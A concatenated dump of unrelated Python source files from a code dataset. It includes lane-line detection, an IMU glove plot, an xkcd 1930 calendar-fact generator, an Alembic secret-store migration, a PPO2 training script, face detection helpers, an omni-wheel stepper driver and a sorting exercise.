= True if fitx is not None and coeffs is not None else False\n\n # coefficients of the fitted line\n self.coefficients = coeffs\n\n # x values of the fitted line\n self.xfitted = fitx\n \n # x indices of the line pixels\n self.x = x\n \n # y indices of the line pixels\n self.y = y\n \n if x is not None and y is not None:\n assert(len(x) == len(y))\n \n # radius of the curvature in meters\n self.radius = self.__calc_curvature__(self.xfitted) if self.xfitted is not None else None\n \n # contains the vehicle's position in meters\n self.vehicle_position = vpos\n \n # contains the lane width in meters\n self.lane_width = lwidth\n \n def __calc_curvature__(self, xfitted):\n \"\"\"\n Calculates the curvature of a line. The radius is calculated in meters\n \"\"\"\n ploty = np.linspace(0, 720-1, 720 )\n \n # We calculate the radius in the middle of the fitted line\n y_eval = np.max(ploty)\n \n # Define conversions in x and y from pixels space to meters\n # A white dashed line is 3.0 m long. In my birds eye view image representation\n # a single dashed line is approximately 95 pixels long.\n ym_per_pix = 3.0 / 95.0 # meters per pixel in y dimension, based on a white dahsed line in birds eye view\n xm_per_pix = 3.7 / 700.0 # meters per pixel in x dimension\n \n # Fit new polynomials to x,y in world space\n fit_cr = np.polyfit(ploty * ym_per_pix, xfitted * xm_per_pix, 2)\n \n # Calculate the new radi of curvature\n curverad = ((1 + (2 * fit_cr[0] * y_eval * ym_per_pix + fit_cr[1])**2)**1.5) / np.absolute(2 * fit_cr[0])\n \n return round(curverad,1)\n\n# Define a class to receive the characteristics of each line detection\nclass Line():\n def __init__(self, max_lines=3, reset_limit=3):\n self.__line_segments = collections.deque(maxlen=max_lines)\n self.reset_limit = reset_limit\n self.reset_counter = 0\n \n def add_line(self, line_segment):\n self.__line_segments.append(line_segment)\n \n def get_last_line(self):\n return self.__line_segments[-1]\n \n def last_line_detected(self):\n if len(self.__line_segments) == 0:\n return False\n last_line = self.__line_segments[-1]\n return last_line.detected\n \n def is_valid_line(self, line_segment):\n \"\"\"\n Validates line segment. It compares the line segment with the last\n inserted line segment.\n It compares the coefficients and the radis. +-20% deviation is ok but not\n more. If the last line segement is invalid (NONE) then this line segment\n is definitely valid.\n \"\"\"\n if line_segment is None:\n return False\n \n if self.__line_segments[-1] is None:\n return True\n \n deviation = self.__line_segments[-1].radius / line_segment.radius\n \n radius_deviation = 0.85 <= deviation and deviation <= 1.15\n lane_width_deviation = 0.85 <= 3.7 / line_segment.lane_width <= 1.15\n \n isvalid = radius_deviation and lane_width_deviation\n \n if not isvalid:\n self.reset_counter += 1\n \n return isvalid\n \n def get_smoothed_line(self, num_frames):\n \"\"\"\n Smoothes the line by using the pixels of the last n frames\n \"\"\"\n x = []\n y = []\n \n if num_frames <= len(self.__line_segments):\n for i in reversed(range(num_frames)):\n x.append(self.__line_segments[i].x)\n y.append(self.__line_segments[i].y)\n else:\n for ls in self.__line_segments:\n x.append(ls.x)\n y.append(ls.y) \n\n x = np.concatenate(x)\n y = np.concatenate(y)\n\n fit = np.polyfit(y, x, 2)\n ploty = np.linspace(0, 720-1, 720 )\n smoothed_line = fit[0]*ploty**2 + fit[1]*ploty + fit[2]\n \n return smoothed_line\n\n \n def reset(self):\n \"\"\"\n Resets the lane, i.e. it clears the line_segments deque.\n \"\"\"\n if self.reset_counter == self.reset_limit:\n self.__line_segments.clear()\n self.reset_counter = 0\n","sub_path":"project5/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"251345980","text":"#!/usr/bin/env python\n\nfrom enthought.traits.api import HasTraits, Instance\nfrom enthought.traits.ui.api import View, Item\nfrom enthought.chaco.api import HPlotContainer,Plot, ArrayPlotData\nfrom enthought.enable.component_editor import ComponentEditor\nfrom numpy import linspace, sin\n\nfrom GloveAPI import *\n\nclass IMUGloveDisplay(HasTraits):\n plot = Instance(HPlotContainer)\n traits_view = View(\n Item('plot',editor=ComponentEditor(), show_label=False),\n width=1000, height=600, resizable=True, title=\"IMU Glove Display\")\n\n def __init__(self):\n super(IMUGloveDisplay, self).__init__()\n x = linspace(-14, 14, 100)\n y = sin(x) * x**3\n plotdata = ArrayPlotData(x=x, y=y)\n scatter = Plot(plotdata)\n scatter.plot((\"x\",\"y\"), type=\"scatter\", color=\"blue\")\n line = Plot(plotdata)\n line.plot((\"x\", \"y\"), type=\"line\", color=\"blue\")\n container = HPlotContainer(scatter,line)\n #scatter.title = \"sin(x) * x^3\"\n #line.title = 'line plot'\n self.plot = container\n self.InitGlove()\n\n def InitGlove(self):\n self.api = GloveAPI()\n self.api.initHardware()\n self.api.debug(False)\n self.api.configimu()\n\n def ReadData(self,numToRead):\n ''' Start streaming data '''\n self.api.stream(numToRead)\n\n self.api.clearIMUPacketEngine()\n keys = ['sentinal','footer','temp','gx','gy','gz','ax','ay','az','sentinal']\n #keys = ['gx','gy','gz','ax','ay','az']\n packets = []\n t = time.time()\n for x in range(0,numToRead):\n p = self.api.getIMUPacket()\n if p:\n ''' Update the data in the plot.. '''\n showPacket(p,keys)\n else:\n self.api.configimu()\n self.api.stream(numToRead-x)\n\n tdiff = time.time() - t\n print(\"Total time:%6.6f Time per Packet:%6.6f\" % (tdiff,tdiff/x))\n\n\nif __name__ == \"__main__\":\n gd = IMUGloveDisplay()\n gd.configure_traits()\n gd.ReadData(100)\n\n\n","sub_path":"Scripts/reference/IMU_Display/GloveDisplay.py","file_name":"GloveDisplay.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"507450769","text":"#!/usr/bin/env python3 -O\n\"\"\"\n xkcd Strip 1930\n ===============\n\n http://xkcd.com/1930\n\n Calendar facts. Pretty naive implementation.\n\n MIT License\n\n Copyright (c) 2017 Alessandro Schaer\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\"\"\"\n__version__ = \"1.0.0\"\n\nimport json\nimport logging\nimport os\nimport random\n\nimport textwrap\nimport matplotlib.pyplot as pltlib\n\nGFG = None\nlogger = None\nROOT_LOCATION = os.path.dirname(os.path.abspath(__file__))\n\n\ndef setup():\n \"\"\"Setup steps\"\"\"\n global CFG, logger\n\n logger = logging.getLogger(__name__)\n logging.basicConfig(level = logging.DEBUG if __debug__ else logging.INFO)\n logger.info(\"Setting-up environment... logger initialized\")\n logger.info(\"Loading configuration options\")\n with open(\"/\".join([ROOT_LOCATION, \"config/config.json\"]), \"r\") as fp:\n CFG = json.load(fp)[\"param\"]\n\n logger.info(\"Setting up matplotlib\")\n for kk, vv in CFG[\"PLTLIB_RC\"].items():\n pltlib.rc(kk, **vv)\n\n pltlib.xkcd()\n\n\nclass Xkcd1930:\n \"\"\"xkcd 1930 Strip Main Class Implementation\"\"\"\n def __init__(self):\n \"\"\"Instance constructor\n\n Each instance is initialized with an empty statement\n \"\"\"\n self.statement = None\n\n\n def generate_image(self) -> bool:\n \"\"\"Generate current statement image\n\n :return: bool. Whether image the image has been generated or not.\n \"\"\"\n if self.statement is None:\n logger.warning(\n \"Could not generate image as 'statement' is still void. \"\n \"Call 'Xkcd1930.generate_statement()' at least once \"\n \"before calling 'Xkcd1930.generate_image()'.\"\n )\n return False\n\n logger.info(f\"Generating image for statement: '{self.statement}'\")\n wrapped_string = []\n for line in self.statement.splitlines():\n wrapped_string.extend(\n textwrap.wrap(\n line, width = CFG[\"LINE_CHAR_LENGTH\"], replace_whitespace = False,\n )\n )\n\n N_LINES = len(wrapped_string)\n fig, axs = pltlib.subplots(figsize = CFG[\"FIG_SIZE\"])\n LINE_SPACING = 1.\n TEXT_START_Y = 1.\n for ii, line in enumerate(wrapped_string):\n logger.debug(line)\n axs.text(0, TEXT_START_Y - ii * LINE_SPACING, line, va = \"top\")\n\n axs.set_ylim(\n (\n TEXT_START_Y - (N_LINES + 1) * LINE_SPACING,\n TEXT_START_Y + LINE_SPACING,\n )\n )\n axs.axis(\"off\")\n pltlib.savefig(\n \"/\".join([CFG[\"IMG_DIR\"], \"xkcd1930_calendar-facts_statement\"])\n )\n pltlib.close(\"all\")\n return True\n\n\n def generate_statement(self):\n \"\"\"Generate statement and output it to the terminal\"\"\"\n self.statement = \"Did you know that \"\n calls = (\n self.append_first_block,\n self.append_second_block,\n self.append_third_block,\n self.append_fourth_block,\n self.append_trivia_block,\n )\n for call in calls:\n call()\n\n logger.info(self.statement)\n\n\n def append_first_block(self):\n \"\"\"Append the first block of the sentence to the current statement\"\"\"\n FIRST_BLOCK_POOL = (\n \"the \",\n \"daylight \",\n \"leap \",\n \"Easter \",\n \"Toyota Truck Month \",\n \"Shark Week \",\n )\n random_index = self.initiate_block(FIRST_BLOCK_POOL)\n\n if random_index == 0:\n case_selector = random.randrange(4)\n if case_selector == 0:\n self.add_choice_to_statement((\"fall \", \"spring \"))\n self.statement += \"equinox \"\n\n elif case_selector == 1:\n self.add_choice_to_statement((\"winter \", \"summer \"))\n self.add_choice_to_statement((\"solstice \", \"Olympics \"))\n\n elif case_selector == 2:\n self.add_choice_to_statement((\"earliest \", \"latest \"))\n self.add_choice_to_statement((\"sunrise \", \"sunset \"))\n\n elif case_selector == 3:\n self.add_choice_to_statement((\"harvest \", \"super \", \"blood \"))\n self.statement += \"moon \"\n\n elif random_index == 1:\n self.add_choice_to_statement((\"saving \", \"savings \"))\n self.statement += \"time \"\n\n elif random_index == 2:\n self.add_choice_to_statement((\"day \", \"year \"))\n\n\n def append_second_block(self):\n \"\"\"Append the second block of the sentence to the current statement\"\"\"\n SECOND_BLOCK_POOL = (\n \"happens \",\n \"drifts out of sync with the \",\n \"might \",\n )\n random_index = self.initiate_block(SECOND_BLOCK_POOL)\n\n if random_index == 0:\n self.add_choice_to_statement((\"earlier \", \"later \", \"at the wrong time \"))\n self.statement += \"every year \"\n\n elif random_index == 1:\n self.add_choice_to_statement(\n (\n \"sun \",\n \"moon \",\n \"zodiac \",\n \"Gregorian calendar \",\n \"Mayan calendar \",\n \"Lunar calendar \",\n \"iPhone calendar \",\n \"atomic clock in Colorado \",\n )\n )\n\n else:\n self.add_choice_to_statement((\"not happen \", \"happen twice \"))\n self.statement += \"this year \"\n\n\n def append_third_block(self):\n \"\"\"Append the third block of the sentence to the current statement\"\"\"\n self.statement += \"because of \"\n THIRD_BLOCK_POOL = (\n \"time zone legislation in \",\n \"a decree by the Pope in the 1500s\",\n \"magnetic field reversal\",\n \"an arbitrary decision by \",\n \"the \",\n )\n random_index = self.initiate_block(THIRD_BLOCK_POOL)\n\n if random_index == 0:\n self.add_choice_to_statement((\"Indiana\", \"Arizona\", \"Russia\"))\n\n elif random_index in (1, 2):\n pass\n\n elif random_index == 3:\n self.add_choice_to_statement((\"Benjamin Franklin\", \"Isaac Newton\", \"FDR\"))\n\n else:\n self.add_choice_to_statement(\n (\n \"precession \",\n \"libration \",\n \"nutation \",\n \"libation \",\n \"eccentricity \",\n \"obliquity \",\n )\n )\n self.statement += \"of the \"\n self.add_choice_to_statement(\n (\n \"Moon\",\n \"Sun\",\n \"Earth's axis\",\n \"equator\",\n \"prime meridian\",\n \"International Date Line\",\n \"Mason-Dixon Line\"\n )\n )\n\n self.statement += \"? \"\n\n def append_fourth_block(self):\n \"\"\"Append the fourth block of the sentence to the current statement\"\"\"\n self.statement += \"Apparently \"\n\n FOURTH_BLOCK_POOL = (\n \"it causes a predictable increase in car accidents.\",\n \"that's why we have leap seconds.\",\n \"scientists are really worried.\",\n \"it was even more extreme during the \",\n \"there's a proposal to fix it, but it \",\n \"it's getting worse and no one knows why.\",\n )\n random_index = self.initiate_block(FOURTH_BLOCK_POOL)\n\n if random_index == 3:\n self.add_choice_to_statement(\n (\n \"Bronze Age.\",\n \"Ice Age.\",\n \"Cretaceous.\",\n \"1990s.\",\n )\n )\n\n elif random_index == 4:\n self.add_choice_to_statement(\n (\n \"will never happen.\",\n \"actually makes things worse.\",\n \"is stalled in Congress.\",\n \"might be unconstitutional.\"\n )\n )\n\n\n def append_trivia_block(self):\n \"\"\"Apped the trivia block, which starts with a new line, to the current statement\"\"\"\n self.statement += \"\\nWhile it may seem like trivia, it \"\n self.add_choice_to_statement(\n (\n \"causes huge headaches for software developers.\",\n \"is taken advantage of by high-speed traders.\",\n \"triggered the 2003 Northeast Blackout.\",\n \"has to be corrected for by GPS satellites.\",\n \"is now recognized as a major cause of World War I.\",\n )\n )\n\n\n def initiate_block(self, pool: tuple) -> int:\n \"\"\"Initiate block\n\n Appends beginning of new block to statement and returns used random index\n\n :param pool: Pool of options starting the block\n :return: int. Chosen index\n \"\"\"\n random_index = random.randrange(len(pool))\n self.statement += pool[random_index]\n return random_index\n\n\n def add_choice_to_statement(self, options: tuple):\n \"\"\"Add a choice to current statement\n\n :param options: Available option for choice\n \"\"\"\n self.statement += random.choice(options)\n\n\ndef main():\n \"\"\"xkcd Strip 1930 Main Function\n\n Generate N_STATEMENTS random calendar facts based on the strip's schema.\n The last statement is saved as image (JPG) in the imgs/ subdirectory.\n \"\"\"\n setup()\n statements_gen = Xkcd1930()\n for _ in range(CFG[\"N_STATEMENTS\"]):\n statements_gen.generate_statement()\n\n statements_gen.generate_image()\n\n\nif __name__ == \"__main__\":\n print(__doc__)\n main()\n","sub_path":"xkcd1930.py","file_name":"xkcd1930.py","file_ext":"py","file_size_in_byte":10787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"567855280","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Model for multiple backend support\n\nRevision ID: 39cf2e645cba\nRevises: d2780d5aa510\nCreate Date: 2016-07-29 16:45:22.953811\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '39cf2e645cba'\ndown_revision = 'd2780d5aa510'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ctx = op.get_context()\n con = op.get_bind()\n table_exists = ctx.dialect.has_table(con.engine, 'secret_stores')\n if not table_exists:\n op.create_table(\n 'secret_stores',\n sa.Column('id', sa.String(length=36), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('updated_at', sa.DateTime(), nullable=False),\n sa.Column('deleted_at', sa.DateTime(), nullable=True),\n sa.Column('deleted', sa.Boolean(), nullable=False),\n sa.Column('status', sa.String(length=20), nullable=False),\n sa.Column('store_plugin', sa.String(length=255), nullable=False),\n sa.Column('crypto_plugin', sa.String(length=255), nullable=True),\n sa.Column('global_default', sa.Boolean(), nullable=False,\n default=False),\n sa.Column('name', sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('store_plugin', 'crypto_plugin',\n name='_secret_stores_plugin_names_uc'),\n sa.UniqueConstraint('name',\n name='_secret_stores_name_uc')\n )\n\n table_exists = ctx.dialect.has_table(con.engine, 'project_secret_store')\n if not table_exists:\n op.create_table(\n 'project_secret_store',\n sa.Column('id', sa.String(length=36), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('updated_at', sa.DateTime(), nullable=False),\n sa.Column('deleted_at', sa.DateTime(), nullable=True),\n sa.Column('deleted', sa.Boolean(), nullable=False),\n sa.Column('status', sa.String(length=20), nullable=False),\n sa.Column('project_id', sa.String(length=36), nullable=False),\n sa.Column('secret_store_id', sa.String(length=36), nullable=False),\n sa.ForeignKeyConstraint(['project_id'], ['projects.id'],),\n sa.ForeignKeyConstraint(\n ['secret_store_id'], ['secret_stores.id'],),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('project_id',\n name='_project_secret_store_project_uc')\n )\n op.create_index(op.f('ix_project_secret_store_project_id'),\n 'project_secret_store', ['project_id'], unique=True)\n","sub_path":"barbican/model/migration/alembic_migrations/versions/39cf2e645cba_model_for_multiple_backend_support.py","file_name":"39cf2e645cba_model_for_multiple_backend_support.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"450232144","text":"import os\nimport gym\nimport gym_auv\nimport stable_baselines.results_plotter as results_plotter\nimport numpy as np\nimport tensorflow as tf\n\nfrom stable_baselines.bench import Monitor\nfrom stable_baselines.common.policies import MlpPolicy, LstmPolicy\nfrom stable_baselines.common.vec_env import SubprocVecEnv, DummyVecEnv\nfrom stable_baselines import PPO2\nfrom stable_baselines.results_plotter import load_results, ts2xy\nfrom stable_baselines.common.schedules import LinearSchedule\nfrom utils import parse_experiment_info\n\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nscenarios = [\"beginner\", \"intermediate\", \"proficient\", \"advanced\", \"expert\"]\nhyperparams = {\n 'n_steps': 1024,\n 'nminibatches': 256,\n 'learning_rate': 1e-5,\n 'nminibatches': 32,\n 'lam': 0.95,\n 'gamma': 0.99,\n 'noptepochs': 4,\n 'cliprange': 0.2,\n 'ent_coef': 0.01,\n 'verbose': 2\n }\n\n\ndef callback(_locals, _globals):\n global n_steps, best_mean_reward\n if (n_steps + 1) % 5 == 0:\n _locals['self'].save(os.path.join(agents_dir, \"model_\" + str(n_steps+1) + \".pkl\"))\n n_steps += 1\n return True\n\n\nif __name__ == '__main__':\n experiment_dir, _, _ = parse_experiment_info()\n \n for i, scen in enumerate(scenarios):\n agents_dir = os.path.join(experiment_dir, scen, \"agents\")\n tensorboard_dir = os.path.join(experiment_dir, scen, \"tensorboard\")\n os.makedirs(agents_dir, exist_ok=True)\n os.makedirs(tensorboard_dir, exist_ok=True)\n hyperparams[\"tensorboard_log\"] = tensorboard_dir\n\n num_envs = 4\n if num_envs > 1:\n env = SubprocVecEnv([lambda: Monitor(gym.make(\"PathColav3d-v0\", scenario=scen), agents_dir, allow_early_resets=True) for i in range(num_envs)])\n else:\n env = DummyVecEnv([lambda: Monitor(gym.make(\"PathColav3d-v0\", scenario=scen), agents_dir, allow_early_resets=True)])\n\n if scen == \"beginner\":\n agent = PPO2(MlpPolicy, env, **hyperparams)\n else:\n continual_model = os.path.join(experiment_dir, scenarios2[i+1], \"agents\", \"last_model.pkl\")\n agent = PPO2.load(continual_model, env=env, **hyperparams)\n agent.setup_model()\n best_mean_reward, n_steps, timesteps = -np.inf, 0, int(300e3 + i*150e3)\n agent.learn(total_timesteps=timesteps, tb_log_name=\"PPO2\", callback=callback2)\n save_path = os.path.join(agents_dir, \"last_model.pkl\")\n agent.save(save_path)","sub_path":"train3d.py","file_name":"train3d.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"214373656","text":"import cv2 as cv\nfrom facenet_pytorch import MTCNN\nimport numpy as np\nfrom PIL import Image\n\n\ndef detect_mouth(img):\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n mouth_cascade = cv.CascadeClassifier(r'./haarcascade_mcs_mouth.xml')\n mouth = mouth_cascade.detectMultiScale(gray, scaleFactor=1.3, minNeighbors=5)\n for (x, y, w, h) in mouth:\n cv.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)\n cv.imshow('img', img)\n cv.waitKey()\n\n\ndef detect_face(img):\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n face_cascade = cv.CascadeClassifier(r'./haarcascade_frontalface_default.xml')\n face = face_cascade.detectMultiScale(gray, scaleFactor=1.15, minNeighbors=5)\n for (x, y, w, h) in face:\n print(x, y, w, h)\n cv.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)\n cv.imshow('img', img)\n cv.waitKey()\n\n\ndef detect_face_byMTCNN(img):\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\n bboxs, prob = mtcnn.detect(img)\n return bboxs\n\n\nmtcnn = MTCNN(image_size=224, margin=1)\n","sub_path":"Lab1/Handout/synchronization/utils/MouthDetectionori.py","file_name":"MouthDetectionori.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"497941186","text":"from AccelStepper import AccelStepper,MotorInterfaceType\nimport time\nimport math\n \nBASE_STEPS_PER_REV=200\nMAX_SPEED=9600\nMAX_ACCEL=500\nMIN_PULSE =20\n\nclass OmniWheelDriver:\n\n def __init__(self,wheel_diam,base_diam, max_speed=MAX_SPEED,max_accel=MAX_ACCEL):\n self.stepper0=AccelStepper(MotorInterfaceType.FULL4WIRE, 1, 2,3,4,True)\n self.stepper1=AccelStepper(MotorInterfaceType.FULL4WIRE, 1, 2,3,4,True)\n self.stepper2=AccelStepper(MotorInterfaceType.FULL4WIRE, 1, 2,3,4,True)\n self.stepper3=AccelStepper(MotorInterfaceType.FULL4WIRE, 1, 2,3,4,True)\n self._index=0\n\n self._step_=0b001\n self._sleep_=True\n self._enable_=False\n\n self._max_speed_=max_speed\n self._max_accel_=max_accel\n self._wheel_diameter_=wheel_diam\n self._base_diameter_=base_diam\n \n self.stepping_table=[]\n self.steps_per_rev=[]\n self.stepping_table[0] = \"Full Step\"\n self.steps_per_rev[0] = BASE_STEPS_PER_REV\n self.stepping_table[1] = \"Half Step\"\n self.steps_per_rev[1] = 2 * BASE_STEPS_PER_REV\n self.stepping_table[2] = \"Quarter Step\"\n self.steps_per_rev[2] = 4 * BASE_STEPS_PER_REV\n self.stepping_table[3] = \"Eighth Step\"\n self.steps_per_rev[3] = 8 * BASE_STEPS_PER_REV\n self.stepping_table[4] = \"UNDEFINED Using Full Step\"\n self.steps_per_rev[4] = 0\n self.stepping_table[5] = \"UNDEFINED Using Full Step\"\n self.steps_per_rev[5] = 0\n self.stepping_table[6] = \"UNDEFINED Using Full Step\"\n self.steps_per_rev[6] = 0\n self.stepping_table[7] = \"Sisteenth Step\"\n self.steps_per_rev[7] = 16 * BASE_STEPS_PER_REV\n\n\n # pinMode(ENABLE, OUTPUT)\n # pinMode(SLEEP, OUTPUT)\n # pinMode(RESET, OUTPUT)\n # pinMode(MS3, OUTPUT)\n # pinMode(MS2, OUTPUT)\n # pinMode(MS1, OUTPUT)\n \n self.reset_driver()\n self.set_step(self._step_)\n self.set_max_speed(self._max_speed_)\n self.set_max_accel(self._max_accel_)\n self.set_min_pulse_width(MIN_PULSE)\n self.zero_location()\n self.disable_steppers()\n self.sleep()\n\n def display_status(self):\n print(\"SLEEP: \")\n print(self._sleep_)\n print(\"ENABLE: \")\n print(self._enable_)\n print(\"OMNI WHEEL DIAMETER: \")\n print(self._wheel_diameter_)\n print(\"cm\")\n print(\"BASE DIAMETER: \")\n print(self._base_diameter_)\n print(\"cm\")\n print(\"step = \")\n print(self.stepping_table[self._step_])\n print(\"steps per rev = \")\n print(self.steps_per_rev[self._step_])\n print(\"max speed = \")\n print(self._max_speed_)\n\n \n def set_base_diameter(self, diameter):\n self._base_diameter_ = diameter\n print(\"setting base diameter to \")\n print(self._base_diameter_)\n print(\"cm\")\n\n\n def set_wheel_diameter(self, diameter):\n self._wheel_diameter_ = diameter\n print(\"setting omni wheel diameter to \")\n print(self._wheel_diameter_)\n print(\"cm\")\n\n def set_step(self, step):\n self._step_ = step\n \"\"\" if (step & 0b100)\n digitalWrite(MS3, HIGH);\n else\n digitalWrite(MS3, LOW); \n \n if (step & 0b010)\n digitalWrite(MS2, HIGH);\n else\n digitalWrite(MS2, LOW); \n \n if (step & 0b001)\n digitalWrite(MS1, HIGH);\n else\n digitalWrite(MS1, LOW); \n \"\"\" \n print(\"step = \")\n print(self.stepping_table[self._step_])\n print(\"steps per rev = \")\n print(self.steps_per_rev[self._step_])\n\n def set_max_speed(self, speed):\n self._max_speed_ = speed\n self.stepper0.setMaxSpeed(speed)\n self.stepper1.setMaxSpeed(speed)\n self.stepper2.setMaxSpeed(speed)\n self.stepper3.setMaxSpeed(speed)\n \n print(\"max speed set to \")\n print(speed) \n\n\n\n\n def set_max_accel(self, accel):\n self._max_accel_ = accel\n self.stepper0.setAcceleration(accel)\n self.stepper1.setAcceleration(accel)\n self.stepper2.setAcceleration(accel)\n self.stepper3.setAcceleration(accel)\n \n print(\"max accel set to \")\n print(accel)\n\n\n def set_min_pulse_width(self, pulse_width):\n self.stepper0.setMinPulseWidth(pulse_width)\n self.stepper1.setMinPulseWidth(pulse_width)\n self.stepper2.setMinPulseWidth(pulse_width)\n self.stepper3.setMinPulseWidth(pulse_width)\n\n\n\n def enable_steppers(self):\n #digitalWrite(ENABLE, LOW)\n self._enable_ = True\n\n\n def disable_steppers(self):\n #digitalWrite(ENABLE, HIGH);\n self._enable_ = False\n\n\n def sleep(self): \n #digitalWrite(SLEEP, LOW)\n self._sleep_ = True\n\n\n def wake(self):\n #digitalWrite(SLEEP, HIGH)\n self._sleep_ = False\n\n def zero_location(self):\n self.stepper0.setCurrentPosition(0)\n self.stepper1.setCurrentPosition(0)\n self.stepper2.setCurrentPosition(0)\n self.stepper3.setCurrentPosition(0)\n\n def reset_driver(self):\n #digitalWrite(RESET, LOW)\n time.sleep(0.100)\n #digitalWrite(RESET, HIGH):\n\n def hard_stop_all(self):\n self.stepper0.setCurrentPosition(self.stepper0.targetPosition())\n self.stepper1.setCurrentPosition(self.stepper1.targetPosition())\n self.stepper2.setCurrentPosition(self.stepper2.targetPosition())\n self.stepper3.setCurrentPosition(self.stepper3.targetPosition())\n\n def run(self):\n self.stepper0.run()\n self.stepper1.run()\n self.stepper2.run()\n self.stepper3.run()\n\n def stop_all(self):\n self.stepper0.stop()\n self.stepper1.stop()\n self.stepper2.stop()\n self.stepper3.stop()\n\n def rotate(self, deg):\n self.set_max_accel(self._max_accel_)\n base_circumference = math.pi * self._base_diameter_\n wheel_circumference = math.pi * self._wheel_diameter_\n cm_per_step = wheel_circumference / self.steps_per_rev[self._step_]\n steps = ((deg / 360.0) * base_circumference) / cm_per_step\n \n self.stepper0.move(steps)\n self.stepper1.move(steps)\n self.stepper2.move(steps)\n self.stepper3.move(steps)\n\n def moveto(self, r, theta):\n theta_rad = math.pi / 180.0 * theta\n x = r * math.cos(theta_rad)\n y = r * math.sin(theta_rad)\n wheel_circumference = math.pi * self._wheel_diameter_\n cm_per_step = wheel_circumference / self.steps_per_rev[self._step_]\n x_steps = x / cm_per_step\n y_steps = y / cm_per_step\n\n if (math.fabs(x_steps) > math.fabs(y_steps)):\n slow_percent = math.fabs(y_steps / x_steps) \n slow_speed = slow_percent * self._max_accel_\n self.stepper0.setAcceleration(self._max_accel_)\n self.stepper1.setAcceleration(self._max_accel_)\n self.stepper2.setAcceleration(slow_speed)\n self.stepper3.setAcceleration(slow_speed) \n elif (math.fabs(x_steps) < math.fabs(y_steps)):\n slow_percent = math.fabs(x_steps / y_steps) \n slow_speed = slow_percent * self._max_accel_\n self.stepper0.setAcceleration(slow_speed)\n self.stepper1.setAcceleration(slow_speed)\n self.stepper2.setAcceleration(self._max_accel_)\n self.stepper3.setAcceleration(self._max_accel_)\n else:\n self.set_max_accel(self._max_accel_)\n \n self.stepper0.move(x_steps)\n self.stepper1.move(-x_steps)\n self.stepper2.move(y_steps)\n self.stepper3.move(-y_steps)\n\n","sub_path":"pythonold/server/py/MotoDriver/OmniWheelDriver.py","file_name":"OmniWheelDriver.py","file_ext":"py","file_size_in_byte":7719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"533794436","text":"from collections import OrderedDict\n\ndef relativeSortArray(arr1, arr2):\n \"\"\"\n :type arr1: List[int]\n :type arr2: List[int]\n :rtype: List[int]\n \"\"\"\n dictionaryOfArr1 = OrderedDict()\n dictionaryOfArr2 = OrderedDict()\n \n for arr in arr1:\n if arr in dictionaryOfArr1.keys():\n dictionaryOfArr1[arr] += 1\n else:\n dictionaryOfArr1[arr] = 1\n \n arr1Keys = set(list(dictionaryOfArr1.keys()))\n \n \n for arr in arr2:\n if arr in dictionaryOfArr2.keys():\n dictionaryOfArr2[arr] += 1\n else:\n dictionaryOfArr2[arr] = 1\n \n arr2Keys = set(list(dictionaryOfArr2.keys()))\n\n NotInArr2 = []\n for key in dictionaryOfArr1.keys():\n if key in arr2Keys:\n pass\n else:\n NotInArr2 = NotInArr2 + [key] * dictionaryOfArr1[key]\n \n NotInArr2.sort()\n \n InArr2 = [] \n for key in dictionaryOfArr2.keys():\n if key in arr1Keys:\n InArr2 = InArr2 + [key] * dictionaryOfArr1[key]\n\n \n return (InArr2 + NotInArr2)\n\n\nif __name__ == \"__main__\":\n arr1 = [2,3,1,3,2,4,6,7,9,2,19]\n arr2 = [2,1,4,3,9,6]\n\n # 